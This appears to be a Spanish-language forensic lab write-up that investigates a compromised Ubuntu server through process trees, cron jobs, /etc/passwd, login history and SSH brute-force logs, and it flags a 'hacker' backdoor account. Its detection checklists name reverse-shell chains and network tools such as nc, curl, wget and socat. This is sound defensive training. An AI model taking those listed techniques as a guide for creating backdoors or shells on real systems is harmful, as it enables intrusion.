    |           +--polkitd(736)---{polkitd}(740)
    |               |   |
    |               |   +--{polkitd}(813)
    |               +--rsyslogd(747)---{rsyslogd}(784)
    |                   |   |
    |                   |   +--{rsyslogd}(785)
    |                   +--{rsyslogd}(786)
    |           +--snapd(750)---{snapd}(794)
    |               |   |
    |               |   +--{snapd}(796)
    |               |   +--{snapd}(797)
    |               |   +--{snapd}(798)
    |               |   +--{snapd}(802)
    |               |   +--{snapd}(924)
    |               |   +--{snapd}(925)
    |               +--{snapd}(1625)
    |           +--sshd(821)
    |           +--systemd(1760)---(sd-pam)(1768)
    |           +--systemd-journal(361)
    |           +--systemd-logind(760)
    |           +--systemd-network(683)
    |           +--systemd-resolve(685)
    |           +--systemd-timesyn(643)---{systemd-timesyn}(648)
    |           +--systemd-udev(411)
    |           +--udisksd(762)---{udisksd}(792)

```

```

    |           +--atd(765)
    |           +--cron(720)
    |           +--dbus-daemon(721)
    |           +--irqbalance(733)---{irqbalance}(746)
    |           +--login(780)---bash(1774)---less(2111)
    |               |   |
    |               |   +--pstree(2110)
    |               +--multipathd(619)---{multipathd}(620)
    |                   |   |
    |                   |   +--{multipathd}(621)
    |                   |   +--{multipathd}(622)
    |                   |   +--{multipathd}(623)
    |                   |   +--{multipathd}(624)
    |                   +--{multipathd}(625)
    |           +--networkd-dispatch(735)
    |           +--polkitd(736)---{polkitd}(740)
    |               |   |
    |               |   +--{polkitd}(813)
    |               +--rsyslogd(747)---{rsyslogd}(784)
    |                   |   |
    |                   |   +--{rsyslogd}(785)
    |                   +--{rsyslogd}(786)
    |           +--snapd(750)---{snapd}(794)
    |               |   |
    |               |   +--{snapd}(796)
    |               |   +--{snapd}(797)
    |               |   +--{snapd}(798)
    |               |   +--{snapd}(802)
    |               |   +--{snapd}(924)
    |               |   +--{snapd}(925)
    |               +--{snapd}(1625)
    |           +--sshd(821)
    |           +--systemd(1760)---(sd-pam)(1768)
    |           +--systemd-journal(361)
    |           +--systemd-logind(760)
    |           +--systemd-network(683)
    |           +--systemd-resolve(685)
    |           +--systemd-timesyn(643)---{systemd-timesyn}(648)
    |           +--systemd-udev(411)
    |           +--udisksd(762)---{udisksd}(792)

```

```

-systemd(1760)---(sd-pam)(1768)
-systemd-journald(361)
-systemd-logind(760)
-systemd-networkd(683)
-systemd-resolved(685)
-systemd-timesyn(643)---{systemd-timesyn}(648)
-systemd-udevd(411)
-udisksd(762)---{udisksd}(792)
      |-{udisksd}(814)
      |-{udisksd}(839)
      -{udisksd}(922)
-unattended-upgr(812)---{unattended-upgr}(847)
-vsftpd(769)
-wazuh-agentd(1030)---{wazuh-agentd}(1033)
      |-{wazuh-agentd}(1034)
      -{wazuh-agentd}(1035)
-wazuh-execd(1019)---{wazuh-execd}(1021)
-wazuh-logcollec(1056)---{wazuh-logcollec}(1059)
      |-{wazuh-logcollec}(1060)
      |-{wazuh-logcollec}(1061)
      |-{wazuh-logcollec}(1062)
      |-{wazuh-logcollec}(1063)
      |-{wazuh-logcollec}(1064)
      -{wazuh-logcollec}(1065)
-wazuh-modulesd(1073)---{wazuh-modulesd}(1078)
      |-{wazuh-modulesd}(1080)
      |-{wazuh-modulesd}(1081)
      |-{wazuh-modulesd}(1082)
      |-{wazuh-modulesd}(1083)
      |-{wazuh-modulesd}(1084)
      |-{wazuh-modulesd}(1085)
      |-{wazuh-modulesd}(1138)
      -{wazuh-modulesd}(1139)
-wazuh-syscheckd(1043)---{wazuh-syscheckd}(1045)
      |-{wazuh-syscheckd}(1047)

```

Salidas sospechosas

systemd(1): Lanza únicamente daemons estándar del sistema (sshd, rsyslogd, snapd, apache2, vsftpd, agentes de Wazuh, etc.). No hay servicios anómalos o sospechosos naciendo directamente de systemd.

Ramas con scripts inusuales (python, bash, sh, perl) o jerarquías sospechosas (ej: sshd → bash → nc):

sshd(821): Aparece completamente solo, sin sesiones remotas activas colgadas de él.

apache2(859): Solo tiene hilos de procesamiento web propios ({apache2}). No se observa ningún proceso hijo como /bin/bash, sh, python o nc generado desde el servidor web (lo cual indicaría la ejecución de una webshell o una reverse shell activa).

login(780): Esta es la consola física desde la que estás trabajando: login → bash(1774) → pstree(2110) / less(2111). Es una jerarquía completamente normal.

En el árbol de Linux, todos los procesos mostrados cuelgan directamente de `systemd(1)` (PID 1). No hay procesos huérfanos ni procesos raros adoptados por PID 1 fuera de los servicios estándar.

Comando: `ps aux | grep -v "[" | less` sirve para listar todos los procesos ejecutados por usuarios o programas reales, filtrando los procesos internos del núcleo de Linux, y mostrando el resultado de forma paginada para poder leerlo con calma.

```

systemd+ 643 0.0 0.1 90880 6116 ? Ssl Sep23 0:02 /lib/systemd/systemd-timesyncd
systemd+ 683 0.0 0.1 19068 7420 ? Ss Sep23 0:00 /lib/systemd/systemd-networkd
systemd+ 685 0.0 0.3 25476 12984 ? Ss Sep23 0:01 /lib/systemd/systemd-resolved
root 716 0.0 0.1 235576 7492 ? Ssl Sep23 0:00 /usr/lib/accounts-service/accounts-
-daemon
root 720 0.0 0.0 6816 3056 ? Ss Sep23 0:00 /usr/sbin/cron -f
message+ 721 0.0 0.1 7568 4532 ? Ss Sep23 0:00 /usr/bin/dbus-daemon --system --a
ddress=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 733 0.0 0.0 81828 3720 ? Ssl Sep23 0:00 /usr/sbin/irqbalance --foreground
root 735 0.0 0.4 29668 18624 ? Ss Sep23 0:00 /usr/bin/python3 /usr/bin/network
d-dispatcher --run-startup-triggers
root 736 0.0 0.1 232732 6800 ? Ssl Sep23 0:00 /usr/lib/policykit-1/polkitd --no
-debug
syslog 747 0.0 0.1 224344 4988 ? Ssl Sep23 0:00 /usr/sbin/rsyslogd -n -iNONE
root 750 0.0 0.7 1320052 29596 ? Ssl Sep23 0:01 /usr/lib/snapd/snapd
root 760 0.0 0.1 17312 7640 ? Ss Sep23 0:00 /lib/systemd/systemd-logind
root 762 0.0 0.3 393268 12136 ? Ssl Sep23 0:00 /usr/lib/udisks2/udisksd
daemon 765 0.0 0.0 3796 2132 ? Ss Sep23 0:00 /usr/sbin/atd -f
root 769 0.0 0.0 6808 3024 ? Ss Sep23 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root 780 0.0 0.0 5992 3948 tty1 Ss Sep23 0:00 /bin/login -p --
root 812 0.0 0.5 107924 21012 ? Ssl Sep23 0:00 /usr/bin/python3 /usr/share/unatt
ended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root 817 0.0 0.2 241372 11224 ? Ssl Sep23 0:00 /usr/sbin/ModemManager
root 859 0.0 0.1 6684 5072 ? Ss Sep23 0:01 /usr/sbin/apache2 -k start
root 1019 0.0 0.0 25880 3604 ? Sl Sep23 0:01 /var/ossec/bin/wazuh-execd
wazuh 1030 0.0 0.1 173620 7932 ? Sl Sep23 0:03 /var/ossec/bin/wazuh-agentd
root 1043 0.0 0.2 124284 8216 ? SNl Sep23 0:00 /var/ossec/bin/wazuh-syscheckd
root 1056 0.0 0.2 536280 11768 ? Sl Sep23 0:04 /var/ossec/bin/wazuh-logcollector
root 1073 0.0 0.4 600800 17152 ? Sl Sep23 0:00 /var/ossec/bin/wazuh-modulesd
sysadmin 1760 0.0 0.2 19056 9548 ? Ss Sep23 0:00 /lib/systemd/systemd --user
sysadmin 1768 0.0 0.0 169780 3408 ? S Sep23 0:00 (sd-pam)
sysadmin 1774 0.0 0.1 8760 5772 tty1 S Sep23 0:00 -bash
www-data 2487 0.0 0.1 1211564 4560 ? Sl 00:00 0:00 /usr/sbin/apache2 -k start
www-data 2488 0.0 0.1 1211564 4560 ? Sl 00:00 0:00 /usr/sbin/apache2 -k start
sysadmin 2747 0.0 0.0 8888 3204 tty1 R+ 01:02 0:00 ps aux
sysadmin 2749 0.0 0.0 5836 2412 tty1 S+ 01:02 0:00 less

```

```

USER      PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2 170100 11628 ?        Ss   Sep23    0:02 /sbin/init maybe-ubiquity
root       361  0.0  0.4  52120 17056 ?        S<s  Sep23    0:00 /lib/systemd/systemd-journald
root       399  0.0  0.0   2488   568 ?        S   Sep23    0:00 bpfilter_umh
root       411  0.0  0.1  23156  6600 ?        Ss   Sep23    0:00 /lib/systemd/systemd-udev
root       619  0.0  0.4 280200 18000 ?        Ssl  Sep23    0:04 /sbin/multipathd -d -s
systemd+   643  0.0  0.1  90880  6116 ?        Ssl  Sep23    0:02 /lib/systemd/systemd-timesyncd
systemd+   683  0.0  0.1  19068  7420 ?        Ss   Sep23    0:00 /lib/systemd/systemd-networkd
systemd+   685  0.0  0.3  25476 12984 ?        Ss   Sep23    0:01 /lib/systemd/systemd-resolved
root       716  0.0  0.1 235576  7492 ?        Ssl  Sep23    0:00 /usr/lib/accounts-service/account
-daemon
root       720  0.0  0.0   6816  3056 ?        Ss   Sep23    0:00 /usr/sbin/cron -f
message+   721  0.0  0.1   7568  4532 ?        Ss   Sep23    0:00 /usr/bin/dbus-daemon --system --
address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root       733  0.0  0.0  81828  3720 ?        Ssl  Sep23    0:00 /usr/sbin/irqbalance --foreground
root       735  0.0  0.4  29668 18624 ?        Ss   Sep23    0:00 /usr/bin/python3 /usr/bin/network
d-dispatcher --run-startup-triggers
root       736  0.0  0.1 232732  6800 ?        Ssl  Sep23    0:00 /usr/lib/policykit-1/polkitd --r
-debug
syslog     747  0.0  0.1 224344  4988 ?        Ssl  Sep23    0:00 /usr/sbin/rsyslogd -n -iNONE
root       750  0.0  0.7 1320052 29596 ?        Ssl  Sep23    0:01 /usr/lib/snapd/snapd
root       760  0.0  0.1  17312  7640 ?        Ss   Sep23    0:00 /lib/systemd/systemd-logind
root       762  0.0  0.3 393268 12136 ?        Ssl  Sep23    0:00 /usr/lib/udisks2/udisksd
daemon    765  0.0  0.0   3796  2132 ?        Ss   Sep23    0:00 /usr/sbin/atd -f
root       769  0.0  0.0   6808  3024 ?        Ss   Sep23    0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root       780  0.0  0.0   5992  3948 tty1    Ss   Sep23    0:00 /bin/login -p --
root       812  0.0  0.5 107924 21012 ?        Ssl  Sep23    0:00 /usr/bin/python3 /usr/share/unat
ended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root       817  0.0  0.2 241372 11224 ?        Ssl  Sep23    0:00 /usr/sbin/ModemManager
root       859  0.0  0.1   6684  5072 ?        Ss   Sep23    0:01 /usr/sbin/apache2 -k start
root     1019  0.0  0.0  25880  3604 ?        Sl   Sep23    0:01 /var/ossec/bin/wazuh-execd
wazuh    1030  0.0  0.1 173620  7932 ?        Sl   Sep23    0:03 /var/ossec/bin/wazuh-agentd
root     1043  0.0  0.2 124284  8216 ?        SNl  Sep23    0:00 /var/ossec/bin/wazuh-syscheckd
root     1056  0.0  0.2 536280 11768 ?        Sl   Sep23    0:04 /var/ossec/bin/wazuh-logcollecto
root     1073  0.0  0.4 600800 17152 ?        Sl   Sep23    0:00 /var/ossec/bin/wazuh-modulesd
sysadmin  1760  0.0  0.2  19056  9548 ?        Ss   Sep23    0:00 /lib/systemd/systemd --user
:~

```

```

TAT START    TIME COMMAND
s   Sep23    0:02 /sbin/init maybe-ubiquity
<s  Sep23    0:00 /lib/systemd/systemd-journald
s   Sep23    0:00 bpfilter_umh
s   Sep23    0:00 /lib/systemd/systemd-udev
ls1 Sep23    0:04 /sbin/multipathd -d -s
sl  Sep23    0:02 /lib/systemd/systemd-timesyncd
s   Sep23    0:00 /lib/systemd/systemd-networkd
s   Sep23    0:01 /lib/systemd/systemd-resolved
sl  Sep23    0:00 /usr/lib/accounts-service/accounts-daemon
s   Sep23    0:00 /usr/sbin/cron -f
s   Sep23    0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-ac
sl  Sep23    0:00 /usr/sbin/irqbalance --foreground
s   Sep23    0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
sl  Sep23    0:00 /usr/lib/policykit-1/polkitd --no-debug
sl  Sep23    0:00 /usr/sbin/rsyslogd -n -iNONE
sl  Sep23    0:01 /usr/lib/snapd/snapd
s   Sep23    0:00 /lib/systemd/systemd-logind
sl  Sep23    0:00 /usr/lib/udisks2/udisksd
s   Sep23    0:00 /usr/sbin/atd -f
s   Sep23    0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
s   Sep23    0:00 /bin/login -p --
sl  Sep23    0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait
sl  Sep23    0:00 /usr/sbin/ModemManager
s   Sep23    0:01 /usr/sbin/apache2 -k start
l   Sep23    0:01 /var/ossec/bin/wazuh-execd
l   Sep23    0:03 /var/ossec/bin/wazuh-agentd
N1  Sep23    0:00 /var/ossec/bin/wazuh-syscheckd
l   Sep23    0:04 /var/ossec/bin/wazuh-logcollector
l   Sep23    0:00 /var/ossec/bin/wazuh-modulesd
s   Sep23    0:00 /lib/systemd/systemd --user
s   Sep23    0:00 (sd-pam)
s   Sep23    0:00 -bash
l   00:00    0:00 /usr/sbin/apache2 -k start
l   00:00    0:00 /usr/sbin/apache2 -k start
+   01:02    0:00 ps aux
:_

```

Procesos no reconocidos o fuera del sistema:

Todos los ejecutables pertenecen al sistema base (/sbin/init, systemd-*, cron, rsyslogd, vsftpd, ModemManager, etc.) o a herramientas de monitoreo legítimas instaladas (/var/ossec/bin/wazuh-*)

Ejecuciones de shells (bash, sh):

El único shell activo es -bash (PID 1774) asociado a la terminal interactiva tty1 del usuario sysadmin. No existen shells no interactivas ni instancias colgadas bajo www-data u otros usuarios.

Uso de intérpretes (python, perl, php):

Python: Los únicos scripts invocados son /usr/bin/networkd-dispatcher (PID 735) y /usr/share/unattended-upgrades/... (PID 812). Ambos se ejecutan desde rutas oficiales y forman parte del sistema operativo

PHP / Perl: No hay procesos de PHP o Perl corriendo de forma independiente en segundo plano.

Proxies, túneles o shells reversas (ssh -R, curl, wget, socat, nc):

No aparece ninguna herramienta de red maliciosa ni conexiones de túneles en ejecución.

Los hallazgos confirman que el malware no tiene una sesión activa o proceso en ejecución constante en la memoria.

En servidores web (Apache + PHP/FTP), este comportamiento suele indicar que la amenaza consiste en una webshell o backdoor en disco (por ejemplo, archivos .php maliciosos dentro de /var/www/html/ o scripts en /tmp/) que solo ejecutan comandos cuando reciben una petición HTTP maliciosa desde el exterior.

Sección: Análisis de Procesos y Memoria Volátil

Comandos ejecutados: ps aux, ps auxww --sort=start_time, pstree -p, top

Objetivo: Identificar la presencia de procesos maliciosos en ejecución activa, consumo anómalo de recursos (criptomineros), consolas reversas (reverse shells) o jerarquías de procesos sospechosas (ej. sshd o apache2 derivando en bash/nc).

Hallazgo / Resultado: Negativo (Sin evidencias de ejecuciones activas en RAM).

La inspección detallada mediante ps aux | grep -v "[" y pstree -p confirmó que todos los procesos en ejecución corresponden a ejecutables legítimos del sistema operativo (systemd, cron, rsyslogd) y al agente de seguridad Wazuh.

Se verificó que las llamadas a intérpretes de python3 responden a tareas estándar de mantenimiento (networkd-dispatcher y unattended-upgrades).

No se observaron ejecuciones de comandos de red sospechosos (nc, curl, wget, socat), ni procesos iniciados desde directorios temporales (/tmp/, /dev/shm/).

Conclusión técnica: La amenaza no mantiene persistencia activa mediante un proceso o demonio en memoria en este momento. El análisis debe orientarse a la búsqueda de artefactos pasivos en disco (webshells/backdoors PHP en el directorio web /var/www/html/) o tareas programadas en cron.

Identificación de Vectores de Persistencia y Cuentas Maliciosas

El comando `ls /etc/cron.d/ && cat /etc/cron.d/* && crontab -l` combinando sirve para auditar minuciosamente todas las tareas programadas (Cron Jobs) en el sistema, tanto las configuradas a nivel de sistema operativo como las del usuario actual.

```
sysadmin@4geeks-server:~$ ls /etc/cron.d && cat /etc/cron.d/* && crontab -l
e2scrub_all logrotate popularity-contest sys-maintenance
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e
scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
0 0 * * * root /opt/scripts/logrotate.sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
35 0 * * * root test -x /etc/cron.daily/popularity-contest && /etc/cron.daily/popularity-conte
t --crond
*/15 * * * * root /usr/local/bin/backup2.sh
crontab: invalid option -- '1'
crontab: usage error: unrecognized option
usage: crontab [-u user] file
       crontab [ -u user ] [ -i ] { -e | -l | -r }
              (default operation is replace, per 1003.2)
       -e      (edit user's crontab)
       -l      (list user's crontab)
       -r      (delete user's crontab)
       -i      (prompt before deleting user's crontab)
sysadmin@4geeks-server:~$ _
```

Atención a este hallazgo sospechoso:

Línea: `*/15 * * * * root /usr/local/bin/backup2.sh`

Frecuencia: Se ejecuta **cada 15 minutos** (`*/15`).

Es una ejecución frecuente por parte del usuario root. Aunque el nombre dice `backup2.sh` (aparentando ser un respaldo legítimo), es muy común que el malware use nombres como "backup", "sync" o "update" para camuflarse. **Este script debe ser investigado de inmediato.**

Segundo script a revisar:

Línea: `0 0 * * * root /opt/scripts/logrotate.sh`

Frecuencia: Se ejecuta diariamente a la medianoche (`0 0`).

El archivo está ubicado en `/opt/scripts/`. Aunque parece un script de rotación de logs, debe inspeccionarse para confirmar si es un script del sistema o una tarea maliciosa agregada para mantener persistencia.

Tareas estándar de Ubuntu:

Las líneas de `e2scrub_all` y `popularity-contest` son tareas del sistema operativo completamente estándar.

El comando `cat /etc/passwd | grep -v "/usr/sbin/nologin"` sirve para listar únicamente las cuentas de usuario que tienen acceso interactivo a la consola (**shell**), filtrando (ocultando) todas las cuentas de servicios automáticos del sistema.

```
sysadmin@4geeks-server:~$ cat /etc/passwd | grep -v "/usr/sbin/nologin"
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sysadmin:x:1000:1000:4geeks-server:/home/sysadmin:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
reports:x:1001:1001:,,,:/home/reports:/bin/bash
wazuh:x:115:120::/var/ossec:/sbin/nologin
hacker:x:1002:1002::/home/hacker:/bin/bash
sysadmin@4geeks-server:~$
```

Usuario sospechoso / malicioso evidente:

hacker:x:1002:1002::/home/hacker:/bin/bash

Se ha creado una cuenta llamada `hacker` con UID/GID 1002. Posee una shell interactiva legítima (`/bin/bash`) y directorio personal en `/home/hacker`. Esta cuenta es un mecanismo claro de persistencia o puerta trasera (`backdoor account`) creada por el atacante para ingresar al servidor mediante SSH o consola.

Usuario no documentado a investigar:

reports:x:1001:1001:,,,:/home/reports:/bin/bash

Análisis: Posee UID 1001 y shell interactiva `/bin/bash`. A menos que la guía o requerimientos de tu proyecto indiquen explícitamente que el usuario `reports` es parte legítima del laboratorio, debe tratarse como un usuario no autorizado creado por el atacante o un vector de movimiento lateral.

Usuarios del sistema estándar y legítimos:

root:x:0:0:root:/root:/bin/bash: Cuenta de superusuario estándar de Linux.

sysadmin:x:1000:1000:4geeks-server:/home/sysadmin:/bin/bash: Tu cuenta de usuario principal legítima (UID 1000).

tss, pollinate, lxd, sync, wazuh: Cuentas de servicios legítimos de Ubuntu y del agente Wazuh. Nota que wazuh usa /sbin/nologin (en lugar de /usr/sbin/nologin, por eso no fue filtrado por el grep)

Resumen para el Informe de Incidentes

Sección: Análisis de Usuarios y Accesos en /etc/passwd

Comando ejecutado: `cat /etc/passwd | grep -v "/usr/sbin/nologin"`

Hallazgo principal: Identificación de cuentas interactivas no autorizadas (Backdoor Accounts).

Detalle de cuentas comprometidas:

hacker (UID 1002): Cuenta maliciosa creada para mantener persistencia en el servidor con shell /bin/bash interactiva.

reports (UID 1001): Cuenta sospechosa/no documentada con permisos de shell /bin/bash.

Impacto: Un atacante puede utilizar estas credenciales para autenticarse por SSH o escalar privilegios en el sistema.

Análisis Forense de Logs y Reconstrucción del Ataque

Estos resultados del comando (`last -a`) contiene información fundamental sobre la actividad histórica de inicio de sesión.

```
sysadmin@4geeks-server:~$ last -a
sysadmin tty1      Wed Sep 23 21:42  still logged in
reboot  system boot   Wed Sep 23 21:35  still running    5.4.0-216-generic
reboot  system boot   Wed Sep 23 21:20  still running    5.4.0-216-generic
sysadmin tty1      Tue Sep 22 23:44 - crash (21:35)
reboot  system boot   Tue Sep 22 23:30  still running    5.4.0-216-generic
reboot  system boot   Tue Sep 22 21:25  still running    5.4.0-216-generic
sysadmin tty1      Mon Jun 23 16:40 - down (00:04)
reboot  system boot   Mon Jun 23 16:40 - 16:45 (00:05)    5.4.0-216-generic
sysadmin tty1      Mon Jun 23 15:24 - crash (01:15)
reboot  system boot   Mon Jun 23 15:23 - 16:45 (01:22)    5.4.0-216-generic
sysadmin tty1      Mon Jun 23 15:01 - crash (00:21)
reboot  system boot   Mon Jun 23 14:48 - 16:45 (01:57)    5.4.0-216-generic
sysadmin tty1      Mon Jun 23 14:08 - 14:43 (00:35)
reports tty1       Mon Jun 23 14:07 - 14:07 (00:00)
sysadmin tty1      Mon Jun 23 14:05 - 14:07 (00:02)
sysadmin tty1      Mon Jun 23 12:57 - 13:39 (00:42)
reboot  system boot   Mon Jun 23 12:53 - 16:45 (03:52)    5.4.0-216-generic
sysadmin tty1      Sat Jun 21 19:05 - down (01:17)
reboot  system boot   Sat Jun 21 19:03 - 20:22 (01:18)    5.4.0-216-generic

utmp begins Sat Jun 21 19:03:58 2025
```

Uso de la cuenta sospechosa reports:

Línea: reports tty1 Mon Jun 23 14:07 - 14:07 (00:00)

Análisis: Confirmamos que el usuario reports (que encontramos antes en `/etc/passwd`) se inició sesión localmente desde la consola tty1 el lunes 23 de junio a las 14:07.

Esto prueba que la cuenta no solo existe, sino que ha sido utilizada activamente en el sistema.

Sin inicios de sesión de la cuenta hacker registrados en wtmp:

No aparece un registro directo del usuario hacker en la lista devuelta por `last`. Esto puede significar que la cuenta fue creada recientemente y aún no se ha iniciado sesión con ella, o que sus inicios de sesión se realizaron evitando registrar la sesión en `utmp/wtmp` o mediante otros vectores

Inicios de sesión locales vs. Remotos (IPs públicas):

Columna de origen (hostname/IP): Todas las entradas de usuario (sysadmin y reports) corresponden al terminal físico o consola virtual tty1.

No hay registros de conexiones SSH o SSH remotas entrantes desde direcciones IP públicas o privadas en este archivo histórico de wtmp

Patrón de reinicios y bloqueos del sistema (Horarios atípicos/Crashes):

Se observan múltiples eventos de reboot (reinicios del kernel 5.4.0-216-generic) e inicios de sesión seguidos de estado crash o interrupciones inesperadas de la sesión (ej. el 23 de junio entre las 12:53 y las 16:40, y el 22/23 de septiembre)

A partir de la salida del comando `grep -a "Failed password" /var/log/auth.log | tail -n 20` se observa lo siguiente:

```
sysadmin@4geeks-server:~$ grep -a "Failed password" /var/log/auth.log | tail -n 20
Jun 21 19:38:20 4geeks-server sshd[2001]: Failed password for root from 192.168.1.50 port 40230 ssh2
Jun 23 15:26:52 4geeks-server sshd[1736]: Failed password for invalid user test from 192.168.1.103 port 58760 ssh2
Jun 23 15:27:01 4geeks-server sshd[1736]: Failed password for invalid user test from 192.168.1.103 port 58760 ssh2
Jun 23 15:27:07 4geeks-server sshd[1736]: Failed password for invalid user test from 192.168.1.103 port 58760 ssh2
Jun 23 15:27:28 4geeks-server sshd[1747]: Failed password for invalid user admin from 192.168.1.103 port 49542 ssh2
Jun 23 15:27:32 4geeks-server sshd[1747]: Failed password for invalid user admin from 192.168.1.103 port 49542 ssh2
Jun 23 15:27:37 4geeks-server sshd[1747]: Failed password for invalid user admin from 192.168.1.103 port 49542 ssh2
Jun 23 15:28:33 4geeks-server sshd[1769]: Failed password for hacker from 192.168.1.103 port 44272 ssh2
Jun 23 15:28:40 4geeks-server sshd[1769]: Failed password for hacker from 192.168.1.103 port 44272 ssh2
Jun 23 15:29:15 4geeks-server sshd[1797]: Failed password for root from 192.168.1.103 port 47014 ssh2
Jun 23 15:29:21 4geeks-server sshd[1797]: Failed password for root from 192.168.1.103 port 47014 ssh2
```

```
Jun 21 19:38:20 4geeks-server sshd[2001]: Failed password for root from 192.168.1.50 port 40230 ssh2
Jun 23 15:26:52 4geeks-server sshd[1736]: Failed password for invalid user test from 192.168.1.103 port 58760 ssh2
Jun 23 15:27:01 4geeks-server sshd[1736]: Failed password for invalid user test from 192.168.1.103 port 58760 ssh2
Jun 23 15:27:07 4geeks-server sshd[1736]: Failed password for invalid user test from 192.168.1.103 port 58760 ssh2
Jun 23 15:27:28 4geeks-server sshd[1747]: Failed password for invalid user admin from 192.168.1.103 port 49542 ssh2
Jun 23 15:27:32 4geeks-server sshd[1747]: Failed password for invalid user admin from 192.168.1.103 port 49542 ssh2
Jun 23 15:27:37 4geeks-server sshd[1747]: Failed password for invalid user admin from 192.168.1.103 port 49542 ssh2
Jun 23 15:28:33 4geeks-server sshd[1769]: Failed password for hacker from 192.168.1.103 port 44272 ssh2
Jun 23 15:28:40 4geeks-server sshd[1769]: Failed password for hacker from 192.168.1.103 port 44272 ssh2
Jun 23 15:29:15 4geeks-server sshd[1797]: Failed password for root from 192.168.1.103 port 47014 ssh2
Jun 23 15:29:21 4geeks-server sshd[1797]: Failed password for root from 192.168.1.103 port 47014 ssh2
```

Ataque de fuerza bruta (Brute Force / Credential Stuffing):

Dirección IP atacante: 192.168.1.103.

Fecha y hora del ataque: El 23 de junio entre las 15:26 y las 15:29.

Comportamiento: Se observan múltiples intentos fallidos de autenticación por SSH desde la IP 192.168.1.103 probando de forma automatizada y rápida diversos nombres de usuario.

Intentos de acceso con usuarios inválidos o específicos:

invalid user test: Intenta ingresar con un usuario inexistente (15:26:52 a 15:27:07).

invalid user admin: Intenta ingresar con un usuario administrativo genérico (15:27:28 a 15:27:37).

hacker: Intenta autenticarse con el usuario hacker (15:28:33 a 15:28:40).
(Atención: Esto coincide exactamente con la cuenta creada en /etc/passwd, lo que indica que el atacante primero creó o intentó usar esa cuenta).

root: Intentos directos contra la cuenta del administrador del sistema (15:29:15 a 15:29:21).

Otra IP en el registro:

Se observa un intento previo de root desde la IP **192.168.1.50** el Jun 21 19:38:20 con el comando `grep -i "ssh" /var/log/auth.log` que sirve para buscar e imprimir todas las líneas relacionadas con el servicio SSH dentro del archivo de registros de autenticación del sistema.

```
port 49542 ssh2
Jun 23 15:27:35 4geeks-server sshd[1747]: pam_unix(sshd:auth): check pass; user unknown
Jun 23 15:27:37 4geeks-server sshd[1747]: Failed password for invalid user admin from 192.168.1.103
port 49542 ssh2
Jun 23 15:27:39 4geeks-server sshd[1747]: Connection closed by invalid user admin 192.168.1.103 port 49542 [preauth]
Jun 23 15:27:39 4geeks-server sshd[1747]: PAM 2 more authentication failures; logname= uid=0 euid=0
tty=ssh ruser= rhost=192.168.1.103
Jun 23 15:28:30 4geeks-server sshd[1769]: pam_unix(sshd:auth): authentication failure; logname= uid=
0 euid=0 tty=ssh ruser= rhost=192.168.1.103 user=hacker
Jun 23 15:28:33 4geeks-server sshd[1769]: Failed password for hacker from 192.168.1.103 port 44272 s
sh2
Jun 23 15:28:40 4geeks-server sshd[1769]: Failed password for hacker from 192.168.1.103 port 44272 s
sh2
Jun 23 15:29:04 4geeks-server sshd[1769]: Connection closed by authenticating user hacker 192.168.1.
103 port 44272 [preauth]
Jun 23 15:29:04 4geeks-server sshd[1769]: PAM 1 more authentication failure; logname= uid=0 euid=0 t
ty=ssh ruser= rhost=192.168.1.103 user=hacker
Jun 23 15:29:14 4geeks-server sshd[1797]: pam_unix(sshd:auth): authentication failure; logname= uid=
0 euid=0 tty=ssh ruser= rhost=192.168.1.103 user=root
Jun 23 15:29:15 4geeks-server sshd[1797]: Failed password for root from 192.168.1.103 port 47014 ss2
Jun 23 15:29:21 4geeks-server sshd[1797]: Failed password for root from 192.168.1.103 port 47014 ss2
Jun 23 15:29:49 4geeks-server sshd[1797]: Connection closed by authenticating user root 192.168.1.10
3 port 47014 [preauth]
Jun 23 15:29:49 4geeks-server sshd[1797]: PAM 1 more authentication failure; logname= uid=0 euid=0 t
ty=ssh ruser= rhost=192.168.1.103 user=root
Jun 23 16:40:13 4geeks-server sshd[782]: Server listening on 0.0.0.0 port 22.
Jun 23 16:40:13 4geeks-server sshd[782]: Server listening on :: port 22.
Sep 22 21:25:41 4geeks-server sshd[807]: Server listening on 0.0.0.0 port 22.
Sep 22 21:25:41 4geeks-server sshd[807]: Server listening on :: port 22.
Sep 22 23:30:37 4geeks-server sshd[792]: Server listening on 0.0.0.0 port 22.
Sep 22 23:30:37 4geeks-server sshd[792]: Server listening on :: port 22.
Sep 23 21:22:22 4geeks-server sshd[821]: Server listening on 0.0.0.0 port 22.
Sep 23 21:22:22 4geeks-server sshd[821]: Server listening on :: port 22.
Sep 23 21:37:53 4geeks-server sshd[821]: Server listening on 0.0.0.0 port 22.
Sep 23 21:37:53 4geeks-server sshd[821]: Server listening on :: port 22.
sysadmin@4geeks-server:~$ _
```

IP de origen sospechosa / desconocida:

Dirección IP del atacante: 192.168.1.103.

Se confirma que todas las solicitudes de conexión SSH no autorizadas, fallos de PAM (`pam_unix(sshd:auth): authentication failure`) y cierres pre-autenticación (`Connection closed ... [preauth]`) provienen de esta misma IP.

Horarios de la actividad:

Bloque de ataques concentrados: Ocurrieron de manera continua entre las **15:27:35 y las 15:29:49 del 23 de junio**.

Muestra un patrón automatizado en un intervalo de tiempo muy corto (un intento cada pocos segundos contra usuarios como admin, hacker y root)

Eventos de reinicio del servicio SSH:

